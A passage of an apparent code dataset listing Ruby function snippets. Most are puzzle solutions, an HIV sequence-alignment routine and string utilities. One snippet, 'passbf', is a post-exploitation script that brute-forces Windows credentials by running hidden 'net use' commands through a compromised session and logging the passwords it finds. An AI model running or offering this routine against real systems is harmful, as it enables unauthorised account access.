GGGCGCTCTGCTGTGCTGCCAACCAACTGGCATGTGGACTCTGCAGGGTCCCTAACTGCCAAGCCCCACAGTGTGCCCTGAGGCTGCCCCTTCCTTCTAGCGGCTGCCCCCACTCGGCTTTGCTTTCCCTAGTTTCAGTTACTTGCGTTCAGCCAAGGTCTGAAACTAGGTGCGCACAGAGCGGTAAGACTGCGAGAGAAAGAGACCAGCTTTACAGGGGGTTTATCACAGTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACATTGCACCCTGACAGTCGTCAGCCTCACAGGGGGTTTATCACAGTGCACCCTTACAATCATTCCATTTGATTCACAATTTTTTTAGTCTCTACTGTGCCTAACTTGTAAGTTAAATTTGATCAGAGGTGTGTTCCCAGAGGGGAAAACAGTATATACAGGGTTCAGTACTATCGCATTTCAGGCCTCCACCTGGGTCTTGGAATGTGTCCCCCGAGGGGTGATGACTACCTCAGTTGGATCTCCACAGGTCACAGTGACACAAGATAACCAAGACACCTCCCAAGGCTACCACAATGGGCCGCCCTCCACGTGCACATGGCCGGAGGAACTGCCATGTCGGAGGTGCAAGCACACCTGCGCATCAGAGTCCTTGGTGTGGAGGGAGGGACCAGCGCAGCTTCCAGCCATCCACCTGATGAACAGAACCTAGGGAAAGCCCCAGTTCTACTTACACCAGGAAAGGC\"\n hxb2_l = hxb2_ref.size\n head = \"\"\n 8.times {head << (65 + rand(25)).chr}\n temp_file = temp_dir + \"/temp\"\n temp_aln = temp_dir + \"/temp_aln\"\n\n l1 = 0\n l2 = 0\n name = \">test\"\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts hxb2_ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n if ref_size > 1.3*(seq.size)\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n max_seq = aln_test2.scan(/[ACGT]+/).max_by(&:length)\n aln_test2 =~ /#{max_seq}/\n before_aln_seq = $`\n before_aln = $`.size\n post_aln_seq = $'\n post_aln = $'.size\n before_aln_seq_size = before_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b1 = (1.3 * before_aln_seq_size).to_i\n post_aln_seq_size = post_aln_seq.scan(/[ACGT]+/).join(\"\").size\n b2 = (1.3 * post_aln_seq_size).to_i\n if (before_aln > seq.size) and (post_aln <= seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1)]\n l1 = l1 + (before_aln - b1)\n elsif (post_aln > seq.size) and (before_aln <= seq.size)\n ref = ref[before_aln..(ref_size - post_aln - 1 + b2)]\n l2 = l2 + post_aln - b2\n elsif (post_aln > seq.size) and (before_aln > seq.size)\n ref = ref[(before_aln - b1)..(ref_size - post_aln - 1 + b2)]\n l1 = l1 + (before_aln - b1)\n l2 = l2 + (post_aln - b2)\n end\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test2 = $2\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n ref_size = ref.size\n end\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n\n if g1 == g2 and (s1 + g1 + s2) == ref.size\n if s1 > s2 and g2 > 2*s2\n ref = ref[0..(-g2-1)]\n repeat = 1\n l2 = l2 + g2\n elsif s1 < s2 and g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n else\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n\n while repeat == 1\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n aln_test =~ /^(\\-*)(\\w.*\\w)(\\-*)$/\n gap_begin = $1.size\n gap_end = $3.size\n aln_test = $2\n aln_test =~ /^(\\w+)(\\-*)\\w/\n s1 = $1.size\n g1 = $2.size\n aln_test =~ /\\w(\\-*)(\\w+)$/\n s2 = $2.size\n g2 = $1.size\n ref = aln_seq[\">ref\"]\n ref = ref[gap_begin..(-gap_end-1)]\n l1 = l1 + gap_begin\n l2 = l2 + gap_end\n repeat = 0\n if g1 > 2*s1\n ref = ref[g1..-1]\n repeat = 1\n l1 = l1 + g1\n end\n if g2 > 2*s2\n ref = ref[0..(-g2 - 1)]\n repeat = 1\n l2 = l2 + g2\n end\n end\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n #refine alignment\n\n if ref =~ /^(\\-+)/\n l1 = l1 - $1.size\n elsif ref =~ /(\\-+)$/\n l2 = l2 + $1.size\n end\n l1 = 0 if l1 < 0\n if (hxb2_l - l2 - 1) >= l1\n ref = hxb2_ref[l1..(hxb2_l - l2 - 1)]\n temp_in = File.open(temp_file,\"w\")\n temp_in.puts \">ref\"\n temp_in.puts ref\n temp_in.puts name\n temp_in.puts seq\n temp_in.close\n print `muscle -in #{temp_file} -out #{temp_aln} -quiet`\n aln_seq = fasta_to_hash(temp_aln)\n aln_test = aln_seq[name]\n ref = aln_seq[\">ref\"]\n\n ref_size = ref.size\n sim_count = 0\n (0..(ref_size-1)).each do |n|\n ref_base = ref[n]\n test_base = aln_test[n]\n sim_count += 1 if ref_base == test_base\n end\n similarity = (sim_count/ref_size.to_f*100).round(1)\n print `rm -f #{temp_file}`\n print `rm -f #{temp_aln}`\n loc_p1 = l1 + 1\n loc_p2 = hxb2_l - l2\n if seq.size != (loc_p2 - loc_p1 + 1)\n indel = true\n elsif aln_test.include?(\"-\")\n indel = true\n end\n return [loc_p1,loc_p2,similarity,indel,aln_test,ref]\n else\n return [0,0,0,0,0,0,0]\n end\nrescue\n return [0,0,0,0,\"N\",\"N\"]\nend",
"def brute_force_matches string, pattern\n i = 0\n pos = []\n while i + pattern.length - 1 < string.length\n pos << i if string[i..(i + pattern.length - 1)] == pattern\n i += 1\n end\n pos\nend",
"def try_two\n (5000..9999).map do |n|\n concat_product(n, 2)\n end.select {|cp| pandigital cp }\nend",
"def solve(file)\r\n x, y = Integer($sx), Integer($sy)\r\n visited = []\r\n discovered = []\r\n value = $table[\"#{x} #{y}\"]\r\n value = value.to_s\r\n direction, weight = value.split(/\\s/,2)\r\n discovered.push(\"#{x} #{y}\")\r\n \r\n while discovered.size != 0\r\n current = discovered.pop\r\n x, y = current.split(/\\s/)\r\n x = Integer(x)\r\n y = Integer(y)\r\n value = $table[current]\r\n value = value.to_s\r\n direction, weight = value.split(/\\s/,2)\r\n \r\n if visited.include?(current) == false\r\n visited.push(current)\r\n direction = direction.split(//)\r\n \r\n i = 0\r\n while i < direction.size\r\n case direction[i]\r\n when \"u\"\r\n y = y - 1\r\n if visited.include?(\"#{x} #{y}\") == false\r\n discovered.push(\"#{x} #{y}\")\r\n if \"#{x} #{y}\" == \"#{$ex} #{$ey}\"\r\n result = true\r\n end\r\n end\r\n y = y + 1\r\n when \"d\"\r\n y = y + 1\r\n if visited.include?(\"#{x} #{y}\") == false\r\n discovered.push(\"#{x} #{y}\")\r\n if \"#{x} #{y}\" == \"#{$ex} #{$ey}\"\r\n result = true\r\n end\r\n end\r\n y = y - 1\r\n when \"l\"\r\n x = x - 1\r\n if visited.include?(\"#{x} #{y}\") == false\r\n discovered.push(\"#{x} #{y}\")\r\n if \"#{x} #{y}\" == \"#{$ex} #{$ey}\"\r\n result = true\r\n end\r\n end\r\n x = x + 1\r\n when \"r\"\r\n x = x + 1\r\n if visited.include?(\"#{x} #{y}\") == false\r\n discovered.push(\"#{x} #{y}\")\r\n if \"#{x} #{y}\" == \"#{$ex} #{$ey}\"\r\n result = true\r\n end\r\n end\r\n x = x - 1\r\n end\r\n i = i + 1\r\n end\r\n end\r\n end\r\n puts discovered\r\n if result == true\r\n puts result\r\n else\r\n puts false\r\n end\r\n end",
"def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend",
"def part_two(input)\n found = false\n cleaned = input.each_with_index.map { |v, i| [v, i] unless v == 'x' }.compact\n iter = cleaned.map(&:first).max\n index = cleaned.map(&:first).find_index(iter)\n t = iter\n until found\n t += iter\n puts \"#{t}\"\n found = true\n v = t - index\n cleaned.each do |bus, i|\n if (v + i) % bus != 0\n found = false\n break\n end\n end\n end\n t\nend",
"def is_match(s, p)\n# '.' single chr, '*' is empty or reapetation of same char\n # recursive sol\n # return s.empty? if p.empty?\n # first = !s.empty? && [s[0], '.'].include?(p[0])\n # if p[1] == '*'\n # is_match(s, p[2..-1]) || (first && is_match(s[1..-1], p))\n # else\n # first && is_match(s[1..-1], p[1..-1])\n # end\n \n # DP solution\n s = s.bytes\n p = p.bytes\n dp = Array.new(s.length+1) { Array.new(p.length+1, false) }\n m, n = s.length, p.length\n dp[m][n] = true\n \n m.downto(0) do |i| \n (n-1).downto(0) do |j| \n first = i < m && (s[i] == p[j] || p[j] == 46)\n if p[j+1] == 42\n dp[i][j] = dp[i][j+2] || (first && dp[i+1][j])\n else\n dp[i][j] = first && dp[i+1][j+1]\n end\n end\n end\n dp[0][0]\nend",
"def find_blat_out_candidate_reads\n\t\tputs \"step 4 find blat out candidate reads\"\n\t\tblat_out_candidate_reads(\n\t\t\tfiles.keys.sort.collect{|k| \"chopped_#{k}lane.psl \" },\n\t\t\tfiles.keys.sort.collect{|k| \"#{k}lane.fa \" },\n\t\t\tfiles.keys.sort.collect{|k| \"04_blat_out_candidate_#{k}lane.fa\" })\n\n#\t\tcommand = \"blatoutcandidate.rb \"\n#\t\t#\tfiles is a hash and the keys are not guaranteed to be sorted\n#\t\t#\tsort alphabetically and left is first, right is last (conveniently)\n#\t\tfiles.keys.sort.each{|k| command << \"chopped_#{k}lane.psl \" } #\tNON-HUMAN matches\n#\t\tfiles.keys.sort.each{|k| command << \"#{k}lane.fa \" } #\traw reads input\n#\t\tcommand.execute\n##\n##\tblatoutcandidate.pl ALWAYS creates ... blat_out_candidate_#{k}lane.fa\n##\tI REALLY don't like that. So much inconsistancy. Will overwrite existing.\n##\n##\tTODO wrote my own version of blatoutcandidate so could change this\n##\n#\t\tfiles.each_pair { |k,v| \n#\t\t\t#\t\n#\t\t\t#\traw reads with names in the psl files.\n#\t\t\t#\t\n#\t\t\t\"blat_out_candidate_#{k}lane.fa\".file_check(die_on_failed_file_check)\n#\t\t\tFileUtils.mv( \"blat_out_candidate_#{k}lane.fa\",\n#\t\t\t\t\"04_blat_out_candidate_#{k}lane.fa\" )\t#\tNON-HUMAN matches \n#\t\t}\n\tend",
"def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend",
"def test(pattern)\n amount_solved = 0\n steps_to_solution = 0\n\n p = pattern.split('')\n\n genome.split('').each do |c|\n steps_to_solution += 1\n val = p[0]\n if val == c\n amount_solved += 1\n p.slice!(0)\n break if p.length == 0\n end\n end\n\n steps_to_solution - amount_solved\n end",
"def banana(name)\n\n# For names that start with vowels\nif name.downcase.start_with?('a','e','i','o','u')\n mod_name = name.downcase\n# For names that begin with a 2-letter consonant cluster\nelsif name.downcase.start_with?('bl', 'br', 'cl', 'cr', 'dr', 'fl', 'fr', 'gl', 'gr', 'pl', 'pr', 'sc', 'sk', 'sl', 'sm', 'sn', 'sp', 'st', 'sw', 'th', 'tr', 'ch')\n mod_name = name.slice(2..-1)\n# For names that begin with a 3-letter consonant cluster\nelsif name.downcase.start_with?('chr', 'thr', 'sch', 'scl', 'scr', 'shr', 'spl', 'spr', 'str', 'squ')\n mod_name = name.slice(3..-1)\n# For all other names\nelse\n mod_name = name.downcase.slice(1..-1)\nend\n\nif name.downcase == \"orange\"\n\tputs \"Nothing rhymes with orange.\"\nelse\nputs name.capitalize + \", \" + name.capitalize + \", bo-\" + (name.downcase.start_with?('b') ? mod_name.downcase.slice(0..-1) : \"b\"+mod_name) + \" \\r\\n\" + \n\"Banana-fana fo-\" + (name.downcase.start_with?('f') ? mod_name.downcase.slice(0..-1) : \"f\"+mod_name) + \" \\r\\n\" + \n\"Fee-Fi-mo-\" + (name.downcase.start_with?('m') ? mod_name.downcase.slice(0..-1) : \"m\"+mod_name) + \" \\r\\n\" + \nname.upcase + \"!\"\nend\n\nend",
"def hack(words)\n candidates = words.clone\n word_to_guess = candidates.pop\n\n while !candidates.empty?\n puts \"Try the word: #{word_to_guess}\"\n puts \"What was the likeness?\"\n\n key_likeness = gets.to_i\n if key_likeness == word_to_guess.length\n puts \"Nicee hackeeer!!\"\n break\n end\n\n words.each do |word|\n next if !candidates.include?(word)\n\n likeness = get_likeness(word_to_guess, word)\n\n if key_likeness == 0\n candidates -= [word] if likeness > 0\n else\n candidates -= [word] if likeness < key_likeness\n end\n end\n\n puts \"Candidates left: #{candidates.join(', ')}\"\n word_to_guess = candidates.pop\n end\nend",
"def part2 groups\n yeses = groups.map { | g |\n members = g.split(\"\\n\")\n shared_answers = members.reduce(\"abcdefghijklmnopqrstuvwxyz\".chars) { |m,v |\n m & v.chars\n }.uniq.length\n }.reduce(0){ |m,v|\n m+v\n }\nend",
"def solve\n perms = (1..9).to_a.permutation.map {|p| p.join}\n prods = []\n\n perms.each do |p|\n (1..2).each do |len|\n a, b, c = p[0, len].to_i, p[len..4].to_i, p[5, 4].to_i\n prods << c if a * b == c\n end\n end\n \n prods.uniq.reduce( :+ )\n end",
"def fake_bin(s)\n # Insert you code here...\n # Got it wrong so many times...\n # s.gsub(/[0-4][5-9]/, '0''1')\n # s.gsub(/[0-4 5-9]/, 0-4 => '0' 5-9 =>'1')\n # s.gsub(/[0-4 5-9]/, 0-4 => 0 5-9 =>1)\n # s.gsub(/[0-4 5-9]/, 0-4 => 0 5-9 =>1)\n # s.gsub(/[0-4 5-9]/, '0' '1')\n # s = s.gsub(/0-4]/, '0') && s.gsub(/5-9]/, '1')\n\n# Finally!\n s.gsub(/[01234]/, '0').gsub(/[56789]/, '1') #append a second gsub onto the s\nend",
"def problem_60a\n num_cut = 5\n# simple\n pairs = {}\n seen_primes = []\n num_primes = 0\n last = start = Time.now\n Primes.each do |p|\n next if p == 2\n b = p.to_s\n seen_primes.each_index do |sp_i|\n sp = seen_primes[sp_i]\n a = sp.to_s\n ai,bi = a.to_i,b.to_i\n ab = (a + b).to_i\n ba = (b + a).to_i\n\n if ba.prime? && ab.prime?\n # We have a pair that works both ways so add the peer to each prime\n pairs[ai] = aa = ((pairs[ai] || []) << bi).uniq\n pairs[bi] = bb = ((pairs[bi] || []) << ai).uniq\n next unless pairs[bi].length >= num_cut - 1 # bi is biggest of pair\n\n check = ([ai] + aa) & ([bi] + bb)\n if check.length >= num_cut\n puts \"Try #{check.inspect}\"\n perm = check.permutation(2).to_a\n new = perm.select do |x,y|\n (x.to_s + y.to_s).to_i.prime? && (x.to_s + y.to_s).to_i.prime?\n end\n if new.length == perm.length\n n = new.flatten.uniq\n sum = n.reduce(&:+)\n puts \"#{n.inspect} *** #{sum}\"\n return sum\n end\n end\n end\n end\n seen_primes << p\n end\n nil\nend",
"def anchored; end",
"def Lexicographic(myString)\n\n origArray = myString.split(//)\n newArr = origArray.permutation.to_a\n counter = 1\n newArr.each do |x|\n if counter == 1000000\n print counter, \"--> \", x.join, \"\\n\"\n break\n else\n counter = counter + 1\n end\n end\nend",
"def find3(a, X)\n # scan through array\n # build hash storing complement in each key\n complements = {}\n a.each_with_index do |val, ind|\n if complements[X - val]\n complements[X - val].push(ind)\n else\n complements[X - val] = [ind]\n end\n end\n\n # scan through the array again\n # get complement\n # for each value scan the remainder of the arrray\n # for a value such taht a + b = the complement\n\n # for each character we have built a dictionary such that, we can find\n # x = a + complement\n\n # [1, 2, 3]\n # 1 + 2 = 3\n # 1 + 3 = 4 =>\n\n # for each value in the array (a) look at all following values (b) and see if a + b\n # is in the dictionary, if it is, check that their indices do not collide with the index\n # stored at dict(a+b)\n\n a.each_with_index do |va, i|\n a.each_with_index do |vb, j|\n break if i == j\n\n complement = va + vb\n indices = complements[complement]\n\n indices.each do |z|\n # every index is unique\n return [i, j, z] unless z == i || z == j\n end\n end\n end\n\n return nil\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def run_tests()\n check_solution(1,\"aaabbc\", \"3a2bc\")\n check_solution(2, \"xxyyyyzz\", \"2x4y2z\")\n check_solution(3, \"qqqqq\", \"5q\")\n check_solution(4, \"mississippi\", \"mi2si2si2pi\")\nend",
"def unclean_find_permutations str\n # ArrayList<String> \n permutations = []\n permutations << \"\"\n\n# char [] \n strArray = str.chars\n\n# for (char c :\n strArray.each do |c|\n\n # ArrayList<String>\n tempList = []\n\n # for (String s :\n permutations.each do |s|\n # {\n for i in 0..s.length\n tempList << s[0...i] + c + s[i..s.length]\n\n # tempList << s+c\n end\n\n permutations = tempList\n # }\n end\n end\n\n # permutations.uniq\n permutations\nend",
"def probability_exact\n\t\t str_format=\"%0#{nr}b\"\n\t\t combinations=2**nr\n\t\t #p str_format\n\t\t total_w=combinations.times.map do |i|\n comb=sprintf(str_format,i)\n w_local=comb.length.times.inject(0) do |ac,j|\n sgn=comb[j]==\"0\" ? -1 : 1\n\t\t\t\t ac+(j+1)*sgn\n end\n\t\t end.sort\n\n \t\t total_w.find_all do |v| \n if @tails==:both\n v<=-w.abs or v>=w.abs\n elsif @tails==:left\n v<=w\n elsif @tails==:right\n \t\t\t\t v>=w\n end\n \t\t end.count/(combinations.to_f)\n end",
"def part_1_4(input) # aaaaa-bbb-z-y-x-123[abxyz]\n sum = 0\n valid_rooms = []\n input.each do |code|\n dict = {}\n code = code.split(\"\")\n code.pop\n checksum = []\n 5.times do\n checksum << code.pop\n end\n checksum = checksum.join.reverse\n code.pop\n room_name = code.join\n serial_num = code.select { |char| char.match(/[\\d]/) }.join\n code = code.select{ |char| !char.match(/[\\d]/) } #[aaaaa-bbb-z-y-x-]\n code.delete(\"-\") # [\"a\", \"a\", \"a\", \"a\", \"a\", \"b\", \"b\", \"b\", \"z\", \"y\", \"x\"]\n code.each do |char|\n if dict[char]\n dict[char] += 1\n else\n dict[char] = 1\n end\n end\n check_checksum = []\n until check_checksum.length >= 5\n if dict.select { |k, v| v == dict.values.max }.length == 1\n check_checksum << dict.max_by{ |k, v| v }[0]\n dict.delete(dict.max_by{ |k, v| v }[0]) # [\"s\", 6]\n else\n highest = dict.select { |_k, v| v == dict.values.max }.sort\n highest.each do |value|\n check_checksum << value[0]\n dict.delete(value[0])\n end\n end\n end\n if checksum == check_checksum.join[0..4]\n sum += serial_num.to_i\n valid_rooms << [room_name, serial_num]\n end\n end\n [sum, valid_rooms]\nend",
"def bmAltGoodSuffixTable(pattern)\n pattern = pattern.unpack('U*')\n goodSuffix = []\n pattern.length.times do |i| \n value=0 \n while (value < pattern.length && !suffixmatch(pattern, i, value)) do \n value+=1 \n end \n goodSuffix[pattern.length-i-1] = value \n end \n return goodSuffix\nend",
"def problem_60\n prime_check = lambda do |a,b|\n (a + b).to_i.prime? && (b + a).to_i.prime?\n end\n\n find_match = lambda do |a,k|\n r = a.select {|p| k != p && prime_check.call(k,p) }\n end\n\n primes = Primes.upto(10_000).map(&:to_s)\n primes.delete(\"2\")\n\n hit = {}\n\n primes.each do |p1|\n p1a = find_match.call(primes,p1)\n p1a.each do |p2|\n p2a = find_match.call(p1a,p2)\n p2a.each do |p3|\n p3a = find_match.call(p2a,p2)\n p3a.each do |p3|\n p4a = find_match.call(p3a,p3)\n p4a.each do |p4|\n p5a = find_match.call(p4a,p4)\n if p5a.length > 0\n p5a.each do |p5|\n a = [p1,p2,p3,p4,p5]\n sum = a.map(&:to_i).reduce(&:+)\n unless hit[sum]\n puts \"#{sum} #{a.inspect}\"\n else\n hit[sum] = true\n end\n return sum\n end\n end\n end\n end\n end\n end\n end\nend",
"def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend",
"def brute_force_iterative_solve(game)\n\tcursor = 0\n\n\tuntil cursor == 81\n\n\t\tif game[cursor][:fixed]\n\t\t\tcursor += 1\n\t\telse\n\t\t\tif verify?(game) && game[cursor][:value] > 0 && game[cursor][:value] <= 9\n\t\t\t\tcursor += 1\n\t\t\telsif game[cursor][:value] < 9\n\t\t\t\tgame[cursor][:value] += 1\n\t\t\telsif game[cursor][:value] >= 9\n\t\t\t\tgame[cursor][:value] = 0\n\t\t\t\tcursor = prev_guess(game, cursor)\n\t\t\t\tgame[cursor][:value] += 1\n\t\t\tend\n\t\tend\n\n\t\tdisplay_current(game)\n\tend\n\n\treturn game\nend",
"def get_hint(secret, guess)\n bulls = 0\n cows = 0\n\n tracker = Hash.new(0)\n secret.each_char { |char| tracker[char] += 1 }\n guess.each_char.with_index do |char, i|\n if secret[i] == guess[i]\n bulls += 1\n if tracker[char] > 0\n tracker[char] -= 1\n else\n cows -= 1\n end\n elsif tracker[char] > 0\n tracker[char] -= 1\n cows += 1\n end\n end\n\n \"#{bulls}A#{cows}B\"\nend",
"def twenty_four(a,b,c,d)\n\tputs \"this takes about 3 seconds\"\n\tanswer = []\n\tnums = [a,b,c,d].map { |e| e.to_f.to_s }\n\tnums = nums.permutation.to_a\n\toperands = [\"+\",\"+\",\"+\",\"-\",\"-\",\"-\",\"/\",\"/\",\"/\",\"*\",\"*\",\"*\"].permutation(3).to_a\n\tnums.each do |num|\n\t\toperands.each do |operand|\n\t\t\t[0,2,4].each do |x|\n\t\t\t\t[3,5,7].each do |y|\n\t\t\t\t\tif x > y\n\t\t\t\t\t\tnext\n\t\t\t\t\telse\n\t\t\t\t\t\tarray = [num[0],operand[0],num[1],operand[1],num[2],operand[2],num[3]]\n\t\t\t\t\t\tarray.insert(x,\"(\")\n\t\t\t\t\t\tarray.insert(y+1,\")\")\n\t\t\t\t\t\tstring = array.join.to_s\n\t\t\t\t\t\tif eval(string) >= 23.9999 && eval(string) <= 24.0001 #floats suck\n\t\t\t\t\t\t\tif !answer.include?(string)\n\t\t\t\t\t\t\t\tputs string\n\t\t\t\t\t\t\t\tanswer << string\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\tif answer.length == 0\n\t\treturn nil\n\telse\n\t\treturn answer\n\tend\nend",
"def find_hash(possible_words, known_anagram, known_md5s, start, n = 3)\n cpus = Parallel.processor_count\n puts \"Total number of iteration: #{possible_words.length**n}\"\n puts \"You got #{cpus} cores\"\n\n hash_table = get_hash_table(known_anagram)\n known_hash = get_hash(known_anagram, hash_table)\n\n Parallel.map(possible_words, in_processes: cpus) do |w1|\n possible_words.each do |w2|\n possible_words.each do |w3|\n # Print every ten million iteration\n phrase = \"#{w1} #{w2} #{w3}\"\n\n # Allow only equal size phrases\n next unless phrase.length == known_anagram.length\n\n # Allow only equal hash phrases\n hash = get_hash(phrase, hash_table)\n next unless hash == known_hash\n\n # All only equal md5 phrases\n md5 = Digest::MD5.hexdigest phrase\n next unless known_md5s.include?(md5)\n\n puts \"#{phrase} #{md5} (#{Time.now - start}s)\"\n end\n end\n end\nend",
"def passbf(session,passlist,target,user,opt,logfile)\n\tprint_status(\"Running Brute force attack against #{user}\")\n\tprint_status(\"Successfull Username and Password pairs are being saved in #{logfile}\")\n \tresult = []\n\toutput = []\n\tpassfnd = 0\n \ta = []\n\ti = 0\n\tif opt == 1\n\t\tif not ::File.exists?(user)\n\t\t\traise \"Usernames List File does not exists!\"\n\t \telse\n\t \t\tuser = ::File.open(user, \"r\")\n\t \tend\n\tend\n\t# Go thru each user\n\tuser.each do |u|\n\t\t# Go thru each line in the password file\n\t\twhile passfnd < 1\n\t\t\t::File.open(passlist, \"r\").each_line do |line|\n\t\t \t\tbegin\n\t\t\t \t\tprint_status(\"Trying #{u.chomp} #{line.chomp}\")\n\n\t\t \t\t\t# Command for testing local login credentials\n\t\t\t \t\tr = session.sys.process.execute(\"cmd /c net use \\\\\\\\#{target} #{line.chomp} /u:#{u.chomp}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\t \t\twhile(d = r.channel.read)\n\t\t\t \t\t\t output << d\n\t\t\t \t\tend\n\t\t\t \t\tr.channel.close\n\t\t\t \t\tr.close\n\n\t\t\t\t \t# Checks if password is found\n\t\t\t \t\tresult = output.to_s.scan(/The\\scommand\\scompleted\\ssuccessfully/)\n\t\t\t \t\tif result.length == 1\n\t\t\t \t\t\tprint_status(\"\\tUser: #{u.chomp} pass: #{line.chomp} found\")\n\t\t\t \t\t\tfile_local_write(logfile,\"User: #{u.chomp} pass: #{line.chomp}\")\n\t\t\t \t\tr = session.sys.process.execute(\"cmd /c net use \\\\\\\\#{target} /delete\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\t \t\twhile(d = r.channel.read)\n\t\t\t\t \t\t\t output << d\n\t\t\t\t \t\tend\n\t\t\t\t \t\toutput.clear\n\t\t\t\t \t\tr.channel.close\n\t\t\t \t\tr.close\n\t\t\t \t\tpassfnd = 1\n\t\t\t \t\tbreak\n\t\t\t \t\tend\n\t\t\t \trescue ::Exception => e\n\t\t \t\t\tprint_status(\"The following Error was encountered: #{e.class} #{e}\")\n\t\t \t\tend\n\n\t\t \tend\n\t\t \tpassfnd = 1\n\t\t end\n\t\tpassfnd = 0\n\tend\nend",
"def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend",
"def make_hundred\n arr = [\"+\", \"-\", \"\"].repeated_permutation(8).to_a.map do |operators|\n ((1..9).to_a).zip(operators).flatten.compact\n end.map(&:join).select {|x| eval(x) == 100}\nend",
"def fix_machine(debris, product)\n\n counter_2 = product.size\n counter = debris.size\n\n while counter > counter_2\n first_num = puts debris[1] == product[2] #look thorugh the entire string\n counter -= 1\n\n\n end\nend",
